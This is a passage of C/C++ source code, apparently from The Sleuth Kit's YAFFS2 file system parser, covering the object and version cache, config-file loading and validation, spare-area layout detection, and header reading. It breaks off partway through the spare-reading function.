yaffscache_object_find_or_add(YAFFSFS_INFO *yfs, uint32_t obj_id, YaffsCacheObject **obj) { YaffsCacheObject *prev; TSK_RETVAL_ENUM result; if (obj == NULL) { return TSK_ERR; } // Look for this obj_id in yfs->cache_objects // If not found, add it in the correct spot // yaffscache_object_find returns the last object with obj_id less than the one // we were searching for, so use that to insert the new one in the list result = yaffscache_object_find(yfs, obj_id, &prev); if (result == TSK_OK) { *obj = prev; return TSK_OK; } else if (result == TSK_STOP) { *obj = (YaffsCacheObject *) tsk_malloc(sizeof(YaffsCacheObject)); (*obj)->yco_obj_id = obj_id; if (prev == NULL) { (*obj)->yco_next = yfs->cache_objects; yfs->cache_objects = *obj; } else { (*obj)->yco_next = prev->yco_next; prev->yco_next = (*obj); } return TSK_OK; } else { *obj = NULL; return TSK_ERR; } } static TSK_RETVAL_ENUM yaffscache_object_add_version(YaffsCacheObject *obj, YaffsCacheChunk *chunk) { uint32_t ver_number; YaffsCacheChunk *header_chunk = NULL; YaffsCacheVersion *version; // Going to try ignoring unlinked/deleted headers (objID 3 and 4) if ((chunk->ycc_chunk_id == 0) && (chunk->ycc_parent_id != YAFFS_OBJECT_UNLINKED) &&(chunk->ycc_parent_id != YAFFS_OBJECT_DELETED)) { header_chunk = chunk; } /* If this is the second version (since last header_chunk is not NULL) and no * header was added, get rid of this incomplete old version -- can't be * reasonably recovered. * * TODO: These chunks are still in the structure and can be walked, * but I'm not sure how to represent this set of data chunks * with no metadata under TSK. This is rare and we don't have * a testcase for it now. Punting right now. * * Edit: Shouldn't get to this point anymore. Changes to * yaffscache_versions_insert_chunk make a version continue until it * has a header block. */ if (obj->yco_latest != NULL) { if (obj->yco_latest->ycv_header_chunk == NULL) { YaffsCacheVersion *incomplete = obj->yco_latest; if (tsk_verbose) tsk_fprintf(stderr, "yaffscache_object_add_version: " "removed an incomplete first version (no header)\n"); obj->yco_latest = obj->yco_latest->ycv_prior; free(incomplete); } } if (obj->yco_latest != NULL) { ver_number = obj->yco_latest->ycv_version + 1; /* Until a new header is given, use the last seen header. */ if (header_chunk == NULL) { header_chunk = obj->yco_latest->ycv_header_chunk; // If we haven't seen a good header yet and we have a deleted/unlinked one, use it if((header_chunk == NULL) && (chunk->ycc_chunk_id == 0)){ header_chunk = chunk; } } } else { ver_number = 1; } if ((version = (YaffsCacheVersion *) tsk_malloc(sizeof(YaffsCacheVersion))) == NULL) { return TSK_ERR; } version->ycv_prior = obj->yco_latest; version->ycv_version = ver_number; version->ycv_seq_number = chunk->ycc_seq_number; version->ycv_header_chunk = header_chunk; version->ycv_first_chunk = chunk; version->ycv_last_chunk = chunk; obj->yco_latest = version; return TSK_OK; } /** * Add a chunk to its corresponding object in the cache. */ static TSK_RETVAL_ENUM yaffscache_versions_insert_chunk(YAFFSFS_INFO *yfs, YaffsCacheChunk *chunk) { YaffsCacheObject *obj; TSK_RETVAL_ENUM result; YaffsCacheVersion *version; // Building a list in yfs->cache_objects, sorted by obj_id result = yaffscache_object_find_or_add(yfs, chunk->ycc_obj_id, &obj); if (result != TSK_OK) { return TSK_ERR; } version = obj->yco_latest; /* First chunk in this object? */ if (version == NULL) { yaffscache_object_add_version(obj, chunk); } else { /* Chunk in the same update? */ if (chunk->ycc_seq_number == version->ycv_seq_number) { version->ycv_last_chunk = chunk; if ((chunk->ycc_chunk_id == 0) && (chunk->ycc_parent_id != YAFFS_OBJECT_UNLINKED) &&(chunk->ycc_parent_id != YAFFS_OBJECT_DELETED)) { version->ycv_header_chunk = chunk; } else if((chunk->ycc_chunk_id == 0) && (version->ycv_header_chunk == NULL)){ version->ycv_header_chunk = chunk; } } // If there was no header for the last version, continue adding to it instead // of starting a new version. else if(version->ycv_header_chunk == NULL){ version->ycv_seq_number = chunk->ycc_seq_number; version->ycv_last_chunk = chunk; if ((chunk->ycc_chunk_id == 0) && (chunk->ycc_parent_id != YAFFS_OBJECT_UNLINKED) &&(chunk->ycc_parent_id != YAFFS_OBJECT_DELETED)) { version->ycv_header_chunk = chunk; } else if((chunk->ycc_chunk_id == 0) && (version->ycv_header_chunk == NULL)){ version->ycv_header_chunk = chunk; } } else if(chunk->ycc_chunk_id == 0){ // Directories only have a header block // If we're looking at a new version of a directory where the previous version had the same name, // leave everything in the same version. Multiple versions of the same directory aren't really giving us // any information. YaffsHeader * newHeader; yaffsfs_read_header(yfs, &newHeader, chunk->ycc_offset); if((newHeader != NULL) && (newHeader->obj_type == YAFFS_TYPE_DIRECTORY)){ // Read in the old header YaffsHeader * oldHeader; yaffsfs_read_header(yfs, &oldHeader, version->ycv_header_chunk->ycc_offset); if((oldHeader != NULL) && (oldHeader->obj_type == YAFFS_TYPE_DIRECTORY) && (0 == strncmp(oldHeader->name, newHeader->name, YAFFS_HEADER_NAME_LENGTH))){ version->ycv_seq_number = chunk->ycc_seq_number; version->ycv_last_chunk = chunk; version->ycv_header_chunk = chunk; } else{ // The older header either isn't a directory or it doesn't have the same name, so leave it // as its own version yaffscache_object_add_version(obj, chunk); } } else{ // Not a directory yaffscache_object_add_version(obj, chunk); } } else{ // Otherwise, add this chunk as the start of a new version yaffscache_object_add_version(obj, chunk); } } return TSK_OK; } static TSK_RETVAL_ENUM yaffscache_versions_compute(YAFFSFS_INFO *yfs) { std::map<unsigned int,YaffsCacheChunkGroup>::iterator iter; for( iter = yfs->chunkMap->begin(); iter != yfs->chunkMap->end(); ++iter ) { YaffsCacheChunk *chunk_curr = yfs->chunkMap->operator[](iter->first).cache_chunks_head; while(chunk_curr != NULL) { if (yaffscache_versions_insert_chunk(yfs, chunk_curr) != TSK_OK) { return TSK_ERR; } chunk_curr = chunk_curr->ycc_next; } } return TSK_OK; } /** * Callback for yaffscache_find_children() * @param obj Object that is a child * @param version Version of the object * @param args Pointer to what was passed into yaffscache_find_children */ typedef TSK_RETVAL_ENUM yc_find_children_cb(YaffsCacheObject *obj, YaffsCacheVersion *version, void *args); /** * Search the cache for objects that are children of the given address. * @param yfs * @param parent_inode Inode of folder/directory * @param cb Call back to call for each found child * @param args Pointer to structure that will be passed to cb * @returns TSK_ERR on error */ static TSK_RETVAL_ENUM yaffscache_find_children(YAFFSFS_INFO *yfs, TSK_INUM_T parent_inode, yc_find_children_cb cb, void *args) { YaffsCacheObject *obj; uint32_t parent_id, version_num; if (yaffscache_inode_to_obj_id_and_version(parent_inode, &parent_id, &version_num) != TSK_OK) { return TSK_ERR; } /* Iterate over all objects and all versions of the objects to see if one is the child * of the given parent. */ for (obj = yfs->cache_objects; obj != NULL; obj = obj->yco_next) { YaffsCacheVersion *version; for (version = obj->yco_latest; version != NULL; version = version->ycv_prior) { /* Is this an incomplete version? */ if (version->ycv_header_chunk == NULL) { continue; } if (version->ycv_header_chunk->ycc_parent_id == parent_id) { TSK_RETVAL_ENUM result = cb(obj, version, args); if (result != TSK_OK) return result; } } } return TSK_OK; } /** * Lookup an object based on its inode. * @param yfs * @param inode * @param version [out] Pointer to store version of the object that was found (if inode had a version of 0) * @param obj_ret [out] Pointer to store found object into * @returns TSK_ERR on error. */ static TSK_RETVAL_ENUM yaffscache_version_find_by_inode(YAFFSFS_INFO *yfs, TSK_INUM_T inode, YaffsCacheVersion **version, YaffsCacheObject **obj_ret) { uint32_t obj_id, version_num; YaffsCacheObject *obj; YaffsCacheVersion *curr; if (version == NULL) { return TSK_ERR; } // convert inode to obj and version and find it in cache if (yaffscache_inode_to_obj_id_and_version(inode, &obj_id, &version_num) != TSK_OK) { *version = NULL; return TSK_ERR; } if (yaffscache_object_find(yfs, obj_id, &obj) != TSK_OK) { *version = NULL; return TSK_ERR; } if (version_num == 0) { if (obj_ret != NULL) { *obj_ret = obj; } *version = obj->yco_latest; return TSK_OK; } // Find the requested version in the list. for(curr = obj->yco_latest; curr != NULL; curr = curr->ycv_prior) { if (curr->ycv_version == version_num) { if (obj_ret != NULL) { *obj_ret = obj; } *version = curr; return TSK_OK; } } if (obj_ret != NULL) { *obj_ret = NULL; } *version = NULL; return TSK_ERR; } static void yaffscache_object_dump(FILE *fp, YaffsCacheObject *obj) { YaffsCacheVersion *next_version = obj->yco_latest; YaffsCacheChunk *chunk = next_version->ycv_last_chunk; fprintf(fp, "Object %d\n", obj->yco_obj_id); while(chunk != NULL && chunk->ycc_obj_id == obj->yco_obj_id) { if (next_version != NULL && chunk == next_version->ycv_last_chunk) { fprintf(fp, " @%d: %p %p %p\n", next_version->ycv_version, (void*) next_version->ycv_header_chunk, (void*) next_version->ycv_first_chunk, (void*)next_version->ycv_last_chunk); next_version = next_version->ycv_prior; } fprintf(fp, " + %p %08x %08x %0" PRIxOFF "\n", (void*) chunk, chunk->ycc_chunk_id, chunk->ycc_seq_number, chunk->ycc_offset); chunk = chunk->ycc_prev; } } /* static void yaffscache_objects_dump(FILE *fp, YAFFSFS_INFO *yfs) { YaffsCacheObject *obj; for(obj = yfs->cache_objects; obj != NULL; obj = obj->yco_next) yaffscache_object_dump(fp, obj); } */ static void yaffscache_objects_stats(YAFFSFS_INFO *yfs, unsigned int *obj_count, uint32_t *obj_first, uint32_t *obj_last, uint32_t *version_count, uint32_t *version_first, uint32_t *version_last) { YaffsCacheObject *obj; YaffsCacheVersion *ver; /* deleted and unlinked special objects don't have headers */ *obj_count = 2; *obj_first = 0xffffffff; *obj_last = 0; *version_count = 0; *version_first = 0xffffffff; *version_last = 0; for(obj = yfs->cache_objects; obj != NULL; obj = obj->yco_next) { *obj_count += 1; if (obj->yco_obj_id < *obj_first) *obj_first = obj->yco_obj_id; if (obj->yco_obj_id > *obj_last) *obj_last = obj->yco_obj_id; for(ver = obj->yco_latest; ver != NULL; ver = ver->ycv_prior) { *version_count += 1; if (ver->ycv_seq_number < *version_first) *version_first = ver->ycv_seq_number; if (ver->ycv_seq_number > *version_last) *version_last = ver->ycv_seq_number; } } } static void yaffscache_objects_free(YAFFSFS_INFO *yfs) { if((yfs != NULL) && (yfs->cache_objects != NULL)){ YaffsCacheObject *obj = yfs->cache_objects; while(obj != NULL) { YaffsCacheObject *to_free = obj; YaffsCacheVersion *ver = obj->yco_latest; while(ver != NULL) { YaffsCacheVersion *v_to_free = ver; ver = ver->ycv_prior; free(v_to_free); } obj = obj->yco_next; free(to_free); } } } static void yaffscache_chunks_free(YAFFSFS_INFO *yfs) { if((yfs != NULL) && (yfs->chunkMap != NULL)){ // Free the YaffsCacheChunks in each ChunkGroup std::map<unsigned int,YaffsCacheChunkGroup>::iterator iter; for( iter = yfs->chunkMap->begin(); iter != yfs->chunkMap->end(); ++iter ) { YaffsCacheChunk *chunk = yfs->chunkMap->operator[](iter->first).cache_chunks_head; while(chunk != NULL) { YaffsCacheChunk *to_free = chunk; chunk = chunk->ycc_next; free(to_free); } } // Free the map yfs->chunkMap->clear(); delete yfs->chunkMap; } } /* * Parsing and helper functions * * */ /* Function to parse config file * * @param img_info Image info for this image * @param map<string, int> Stores values from config file indexed on parameter name * @returns YAFFS_CONFIG_STATUS One of YAFFS_CONFIG_OK, YAFFS_CONFIG_FILE_NOT_FOUND, or YAFFS_CONFIG_ERROR */ static YAFFS_CONFIG_STATUS yaffs_load_config_file(TSK_IMG_INFO * a_img_info, std::map<std::string, std::string> & results){ size_t config_file_name_len; TSK_TCHAR * config_file_name; FILE* config_file; char buf[1001]; // Ensure there is at least one image name if(a_img_info->num_img < 1){ return YAFFS_CONFIG_ERROR; } // Construct the name of the config file from the first image name config_file_name_len = TSTRLEN(a_img_info->images[0]); config_file_name_len += TSTRLEN(YAFFS_CONFIG_FILE_SUFFIX); config_file_name = (TSK_TCHAR *) tsk_malloc(sizeof(TSK_TCHAR) * (config_file_name_len + 1)); TSTRNCPY(config_file_name, a_img_info->images[0], TSTRLEN(a_img_info->images[0]) + 1); TSTRNCAT(config_file_name, YAFFS_CONFIG_FILE_SUFFIX, TSTRLEN(YAFFS_CONFIG_FILE_SUFFIX) + 1); #ifdef TSK_WIN32 HANDLE hWin; if ((hWin = CreateFile(config_file_name, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0)) == INVALID_HANDLE_VALUE) { // For the moment, assume that the file just doesn't exist, which isn't an error free(config_file_name); return YAFFS_CONFIG_FILE_NOT_FOUND; } config_file = _fdopen(_open_osfhandle((intptr_t) hWin, _O_RDONLY), "r"); if (config_file == NULL) { tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr( "yaffs_load_config: Error converting Windows handle to C handle"); free(config_file_name); CloseHandle(hWin); return YAFFS_CONFIG_ERROR; } #else if (NULL == (config_file = fopen(config_file_name, "r"))) { free(config_file_name); return YAFFS_CONFIG_FILE_NOT_FOUND; } #endif while(fgets(buf, 1000, config_file) != NULL){ // Is it a comment? if((buf[0] == '#') || (buf[0] == ';')){ continue; } // Is there a '=' ? if(strchr(buf, '=') == NULL){ continue; } // Copy to strings while removing whitespace and converting to lower case std::string paramName(""); std::string paramVal(""); const char * paramNamePtr = strtok(buf, "="); while(*paramNamePtr != '\0'){ if(! isspace((char)(*paramNamePtr))){ paramName += tolower((char)(*paramNamePtr)); } paramNamePtr++; } const char * paramValPtr = strtok(NULL, "="); while(*paramValPtr != '\0'){ if(! isspace(*paramValPtr)){ paramVal += tolower((char)(*paramValPtr)); } paramValPtr++; } // Make sure this parameter is not already in the map if(results.find(paramName) != results.end()){ // Duplicate parameter - return an error tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr( "yaffs_load_config: Duplicate parameter name in config file (\"%s\"). %s", paramName.c_str(), YAFFS_HELP_MESSAGE); fclose(config_file); free(config_file_name); return YAFFS_CONFIG_ERROR; } // Add this entry to the map results[paramName] = paramVal; } fclose(config_file); free(config_file_name); return YAFFS_CONFIG_OK; } /* * Helper function for yaffs_validate_config * Tests that a string consists only of digits and has at least one digit * (Can modify later if we want negative fields to be valid) * * @param numStr String to test * @returns 1 on error, 0 on success */ static int yaffs_validate_integer_field(std::string numStr){ unsigned int i; // Test if empty if(numStr.length() == 0){ return 1; } // Test each character for(i = 0;i < numStr.length();i++){ if(isdigit(numStr[i]) == 0){ return 1; } } return 0; } /* * Function to validate the contents of the config file * Currently testing: * All YAFFS_CONFIG fields should be integers (if they exist) * Either need all three of YAFFS_CONFIG_SEQ_NUM_STR, YAFFS_CONFIG_OBJ_ID_STR, YAFFS_CONFIG_CHUNK_ID_STR * or none of them * * @param paramMap Holds mapping of parameter name to parameter value * @returns 1 on error (invalid parameters), 0 on success */ static int yaffs_validate_config_file(std::map<std::string, std::string> & paramMap){ int offset_field_count; // Make a list of all fields to test std::set<std::string> integerParams; integerParams.insert(YAFFS_CONFIG_SEQ_NUM_STR); integerParams.insert(YAFFS_CONFIG_OBJ_ID_STR); integerParams.insert(YAFFS_CONFIG_CHUNK_ID_STR); integerParams.insert(YAFFS_CONFIG_PAGE_SIZE_STR); integerParams.insert(YAFFS_CONFIG_SPARE_SIZE_STR); integerParams.insert(YAFFS_CONFIG_CHUNKS_PER_BLOCK_STR); // If the parameter is set, verify that the value is an int for(std::set<std::string>::iterator it = integerParams.begin();it != integerParams.end();it++){ if((paramMap.find(*it) != paramMap.end()) && (0 != yaffs_validate_integer_field(paramMap[*it]))){ tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr( "yaffs_validate_config_file: Empty or non-integer value for Yaffs2 parameter \"%s\". %s", (*it).c_str(), YAFFS_HELP_MESSAGE); return 1; } } // Check that we have all three spare offset fields, or none of the three offset_field_count = 0; if(paramMap.find(YAFFS_CONFIG_SEQ_NUM_STR) != paramMap.end()){ offset_field_count++; } if(paramMap.find(YAFFS_CONFIG_OBJ_ID_STR) != paramMap.end()){ offset_field_count++; } if(paramMap.find(YAFFS_CONFIG_CHUNK_ID_STR) != paramMap.end()){ offset_field_count++; } if(! ((offset_field_count == 0) || (offset_field_count == 3))){ tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr( "yaffs_validate_config_file: Require either all three spare offset fields or none. %s", YAFFS_HELP_MESSAGE); return 1; } // Make sure there aren't any unexpected fields present for(std::map<std::string, std::string>::iterator it = paramMap.begin(); it != paramMap.end();it++){ if(integerParams.find(it->first) == integerParams.end()){ tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS); tsk_error_set_errstr( "yaffs_validate_config_file: Found unexpected field in config file (\"%s\"). %s", it->first.c_str(), YAFFS_HELP_MESSAGE); return 1; } } return 0; } /* * Function to attempt to determine the layout of the yaffs spare area. * Results of the analysis (if the format could be determined) will be stored * in yfs variables. * * @param yfs File system being analyzed * @param maxBlocksToTest Number of block groups to scan to detect spare area or 0 if there is no limit. * @returns TSK_ERR if format could not be detected and TSK_OK if it could be. */ static TSK_RETVAL_ENUM yaffs_initialize_spare_format(YAFFSFS_INFO * yfs, TSK_OFF_T maxBlocksToTest){ // Testing parameters - can all be changed unsigned int blocksToTest = 10; // Number of blocks (64 chunks) to test unsigned int chunksToTest = 10; // Number of chunks to test in each block unsigned int minChunksRead = 10; // Minimum number of chunks we require to run the test (we might not get the full number we want to test for a very small file) unsigned int chunkSize = yfs->page_size + yfs->spare_size; unsigned int blockSize = yfs->chunks_per_block * chunkSize; TSK_FS_INFO *fs = &(yfs->fs_info); unsigned char *spareBuffer; unsigned int blockIndex; unsigned int chunkIndex; unsigned int currentOffset; unsigned char * allSpares; unsigned int allSparesLength; TSK_OFF_T maxBlocks; bool skipBlock; int goodOffset; unsigned int nGoodSpares; unsigned int nBlocksTested; int okOffsetFound = 0; // Used as a flag for if we've found an offset that sort of works but doesn't seem great int goodOffsetFound = 0; // Flag to mark that we've found an offset that also passed secondary testing int bestOffset = 0; bool allSameByte; // Used in test that the spare area fields not be one repeated byte unsigned int i; int thisChunkBase; int lastChunkBase; // The spare area needs to be at least 16 bytes to run the test if(yfs->spare_size < 16){ if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format failed - given spare size (%d) is not large enough to contain needed fields\n", yfs->spare_size); } return TSK_ERR; } if ((spareBuffer = (unsigned char*) tsk_malloc(yfs->spare_size)) == NULL) { return TSK_ERR; } allSparesLength = yfs->spare_size * blocksToTest * chunksToTest; if ((allSpares = (unsigned char*) tsk_malloc(allSparesLength)) == NULL) { free(spareBuffer); return TSK_ERR; } // Initialize the pointers to one of the configurations we've seen (thought these defaults should not get used) yfs->spare_seq_offset = 0; yfs->spare_obj_id_offset = 4; yfs->spare_chunk_id_offset = 8; yfs->spare_nbytes_offset = 12; // Assume the data we want is 16 consecutive bytes in the order: // seq num, obj id, chunk id, byte count // (not sure we're guaranteed this but we wouldn't be able to deal with the alternative anyway) // Seq num is the important one. This number is constant in each block (block = 64 chunks), meaning // all chunks in a block will share the same sequence number. The YAFFS2 descriptions would seem to // indicate it should be different for each block, but this doesn't seem to always be the case. // In particular we frequently see the 0x1000 seq number used over multiple blocks, but this isn't the only // observed exception. // Calculate the number of blocks in the image maxBlocks = yfs->fs_info.img_info->size / (yfs->chunks_per_block * chunkSize); // If maxBlocksToTest = 0 (unlimited), set it to the total number of blocks // Also reduce the number of blocks to test if it is larger than the total number of blocks if ((maxBlocksToTest == 0) || (maxBlocksToTest > maxBlocks)){ maxBlocksToTest = maxBlocks; } nGoodSpares = 0; nBlocksTested = 0; for (TSK_OFF_T blockIndex = 0;blockIndex < maxBlocksToTest;blockIndex++){ // Read the last spare area that we want to test first TSK_OFF_T offset = (TSK_OFF_T)blockIndex * blockSize + (chunksToTest - 1) * chunkSize + yfs->page_size; ssize_t cnt = tsk_img_read(fs->img_info, offset, (char *) spareBuffer, yfs->spare_size); if ((cnt < 0) || ((unsigned int)cnt < yfs->spare_size)) { break; } // Is the spare all 0xff / 0x00? // If not, we know we should have all allocated chunks since YAFFS2 writes sequentially in a block // - can't have an unallocated chunk followed by an allocated one // We occasionally see almost all null spare area with a few 0xff, which is not a valid spare. skipBlock = true; for (i = 0;i < yfs->spare_size;i++){ if((spareBuffer[i] != 0xff) && (spareBuffer[i] != 0x00)){ skipBlock = false; break; } } if (skipBlock){ continue; } // If this block is potentialy valid (i.e., the spare contains something besides 0x00 and 0xff), copy all the spares into // the big array of extracted spare areas // Copy this spare area nGoodSpares++; for (i = 0;i < yfs->spare_size;i++){ allSpares[nBlocksTested * yfs->spare_size * chunksToTest + (chunksToTest - 1) * yfs->spare_size + i] = spareBuffer[i]; } // Copy all earlier spare areas in the block for (chunkIndex = 0;chunkIndex < chunksToTest - 1;chunkIndex++){ offset = blockIndex * blockSize + chunkIndex * chunkSize + yfs->page_size; cnt = tsk_img_read(fs->img_info, offset, (char *) spareBuffer, yfs->spare_size); if ((cnt < 0) || ((unsigned int)cnt < yfs->spare_size)) { // We really shouldn't run out of data here since we already read in the furthest entry break; // Break out of chunksToTest loop } nGoodSpares++; for(i = 0;i < yfs->spare_size;i++){ allSpares[nBlocksTested * yfs->spare_size * chunksToTest + chunkIndex * yfs->spare_size + i] = spareBuffer[i]; } } // Record that we've found a potentially valid block nBlocksTested++; // If we've found enough potentailly valid blocks, break if (nBlocksTested >= blocksToTest){ break; } } // Make sure we read enough data to reasonably perform the testing if (nGoodSpares < minChunksRead){ if (tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format failed - not enough potentially valid data could be read\n"); } free(spareBuffer); free(allSpares); return TSK_ERR; } if (tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Testing potential offsets for the sequence number in the spare area\n"); } // Print out the collected spare areas if we're in verbose mode if(tsk_verbose && (! yfs->autoDetect)){ for(blockIndex = 0;blockIndex < nBlocksTested;blockIndex++){ for(chunkIndex = 0;chunkIndex < chunksToTest;chunkIndex++){ for(i = 0;i < yfs->spare_size;i++){ fprintf(stderr, "%02x", allSpares[blockIndex * yfs->spare_size * chunksToTest + chunkIndex * yfs->spare_size + i]); } fprintf(stderr, "\n"); } } } // Test all indices into the spare area (that leave enough space for all 16 bytes) for(currentOffset = 0;currentOffset <= yfs->spare_size - 16;currentOffset++){ goodOffset = 1; for(blockIndex = 0;blockIndex < nBlocksTested;blockIndex++){ for(chunkIndex = 1;chunkIndex < chunksToTest;chunkIndex++){ lastChunkBase = blockIndex * yfs->spare_size * chunksToTest + (chunkIndex - 1) * yfs->spare_size; thisChunkBase = lastChunkBase + yfs->spare_size; // Seq num should not be all 0xff (we tested earlier that the chunk has been initialized) if((0xff == allSpares[thisChunkBase + currentOffset]) && (0xff == allSpares[thisChunkBase + currentOffset + 1]) && (0xff == allSpares[thisChunkBase + currentOffset + 2]) && (0xff == allSpares[thisChunkBase + currentOffset + 3])){ if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Eliminating offset %d - invalid sequence number 0xffffffff\n", currentOffset); } goodOffset = 0; break; } // Seq num should not be zero if((0 == allSpares[thisChunkBase + currentOffset]) && (0 == allSpares[thisChunkBase + currentOffset + 1]) && (0 == allSpares[thisChunkBase + currentOffset + 2]) && (0 == allSpares[thisChunkBase + currentOffset + 3])){ if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Eliminating offset %d - invalid sequence number 0\n", currentOffset); } goodOffset = 0; break; } // Seq num should match the previous one in the block if((allSpares[lastChunkBase + currentOffset] != allSpares[thisChunkBase + currentOffset]) || (allSpares[lastChunkBase + currentOffset + 1] != allSpares[thisChunkBase + currentOffset + 1]) || (allSpares[lastChunkBase + currentOffset + 2] != allSpares[thisChunkBase + currentOffset + 2]) || (allSpares[lastChunkBase + currentOffset + 3] != allSpares[thisChunkBase + currentOffset + 3])){ if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Eliminating offset %d - did not match previous chunk sequence number\n", currentOffset); } goodOffset = 0; break; } // Obj id should not be zero if((0 == allSpares[thisChunkBase + currentOffset + 4]) && (0 == allSpares[thisChunkBase + currentOffset + 5]) && (0 == allSpares[thisChunkBase + currentOffset + 6]) && (0 == allSpares[thisChunkBase + currentOffset + 7])){ if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Eliminating offset %d - invalid object id 0\n", currentOffset); } goodOffset = 0; break; } // All 16 bytes should not be the same // (It is theoretically possible that this could be valid, but incredibly unlikely) allSameByte = true; for(i = 1;i < 16;i++){ if(allSpares[thisChunkBase + currentOffset] != allSpares[thisChunkBase + currentOffset + i]){ allSameByte = false; break; } } if(allSameByte){ if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Eliminating offset %d - all repeated bytes\n", currentOffset); } goodOffset = 0; break; } } // End of loop over chunks if(!goodOffset){ // Break out of loop over blocks break; } } if(goodOffset){ // Note that we've found an offset that is at least promising if((! goodOffsetFound) && (! okOffsetFound)){ bestOffset = currentOffset; } okOffsetFound = 1; if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Found potential spare offsets: %d (sequence number), %d (object id), %d (chunk id), %d (n bytes)\n", currentOffset, currentOffset+4, currentOffset+8, currentOffset+12); } // Now do some more tests // Really need some more real-world test data to do this right. int possibleError = 0; // We probably don't want the first byte to always be 0xff int firstByteFF = 1; for(blockIndex = 0;blockIndex < nBlocksTested;blockIndex++){ for(chunkIndex = 1;chunkIndex < chunksToTest;chunkIndex++){ if(allSpares[blockIndex * yfs->spare_size * chunksToTest + chunkIndex * yfs->spare_size + currentOffset] != 0xff){ firstByteFF = 0; } } } if(firstByteFF){ if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Previous data starts with all 0xff bytes. Looking for better offsets.\n"); } possibleError = 1; } if(! possibleError){ // If we already have a good offset, print this one out but don't record it if(! goodOffsetFound){ goodOffsetFound = 1; bestOffset = currentOffset; // Offset passed additional testing and we haven't seen an earlier good one, so go ahead and use it if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Previous offsets appear good - will use as final offsets\n"); } } else{ // Keep using the old one if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Previous offsets appear good but staying with earlier valid ones\n"); } } } } } free(spareBuffer); free(allSpares); if(okOffsetFound || goodOffsetFound){ // Record everything yfs->spare_seq_offset = bestOffset; yfs->spare_obj_id_offset = bestOffset + 4; yfs->spare_chunk_id_offset = bestOffset + 8; yfs->spare_nbytes_offset = bestOffset + 12; if(tsk_verbose && (! yfs->autoDetect)){ tsk_fprintf(stderr, "yaffs_initialize_spare_format: Final offsets: %d (sequence number), %d (object id), %d (chunk id), %d (n bytes)\n", bestOffset, bestOffset+4, bestOffset+8, bestOffset+12); tsk_fprintf(stderr, "If these do not seem valid: %s\n", YAFFS_HELP_MESSAGE); } return TSK_OK; } else{ return TSK_ERR; } } /** * yaffsfs_read_header( ... ) * */ static uint8_t yaffsfs_read_header(YAFFSFS_INFO *yfs, YaffsHeader ** header, TSK_OFF_T offset) { unsigned char *hdr; ssize_t cnt; YaffsHeader *head; TSK_FS_INFO *fs = &(yfs->fs_info); if ((hdr = (unsigned char*) tsk_malloc(yfs->page_size)) == NULL) { return 1; } cnt = tsk_img_read(fs->img_info, offset, (char *) hdr, yfs->page_size); if ((cnt < 0) || ((unsigned int)cnt < yfs->page_size)) { free(hdr); return 1; } if ((head = (YaffsHeader*) tsk_malloc( sizeof(YaffsHeader))) == NULL) { free(hdr); return 1; } memcpy(&head->obj_type, hdr, 4); memcpy(&head->parent_id, &hdr[4], 4); memcpy(head->name, (char*) &hdr[0xA], YAFFS_HEADER_NAME_LENGTH); memcpy(&head->file_mode, &hdr[0x10C], 4); memcpy(&head->user_id, &hdr[0x110], 4); memcpy(&head->group_id, &hdr[0x114], 4); memcpy(&head->atime, &hdr[0x118], 4); memcpy(&head->mtime, &hdr[0x11C], 4); memcpy(&head->ctime, &hdr[0x120], 4); memcpy(&head->file_size, &hdr[0x124], 4); memcpy(&head->equivalent_id, &hdr[0x128], 4); memcpy(head->alias, (char*) &hdr[0x12C], YAFFS_HEADER_ALIAS_LENGTH); //memcpy(&head->rdev_mode, &hdr[0x1CC], 4); //memcpy(&head->win_ctime, &hdr[0x1D0], 8); //memcpy(&head->win_atime, &hdr[0x1D8], 8); //memcpy(&head->win_mtime, &hdr[0x1E0], 8); //memcpy(&head->inband_obj_id, &hdr[0x1E8], 4); //memcpy(&head->inband_is_shrink, &hdr[0x1EC], 4); // NOTE: This isn't in Android 3.3 kernel but is in YAFFS2 git //memcpy(&head->file_size_high, &hdr[0x1F0], 4); free(hdr); *header = head; return 0; } /** * Read and parse the YAFFS2 tags in the NAND spare bytes. * * @param info is a YAFFS fs handle * @param spare YaffsSpare object to be populated * @param offset, offset to read from * * @returns 0 on success and 1 on error */ static uint8_t yaffsfs_read_spare(YAFFSFS_INFO *yfs, YaffsSpare ** spare, TSK_OFF_T offset) { unsigned char *spr; ssize_t cnt; YaffsSpare *sp; TSK_FS_INFO *fs = &(yfs->fs_info); uint32_t seq_number; uint32_t object_id; uint32_t chunk_id; // Should have checked this by now, but just in case if((yfs->spare_seq_offset + 4 > yfs->spare_size) || (yfs->spare_obj_id_offset + 4 > yfs->spare_size) || (yfs->spare_chunk_id_offset + 4 > yfs->spare_size)){ return 1; } if ((spr = (unsigned char*) tsk_malloc(yfs->spare_size)) == NULL) { return 1; } if (yfs->spare_size < 46) { // Why is this 46? tsk_error_reset(); tsk_error_set_errno(TSK_ERR_FS_ARG); tsk_error_set_errstr("yaffsfs_read_spare: spare size is too small"); free(spr); return 1; } cnt = tsk_img_read(fs->img_info, offset, (char*) 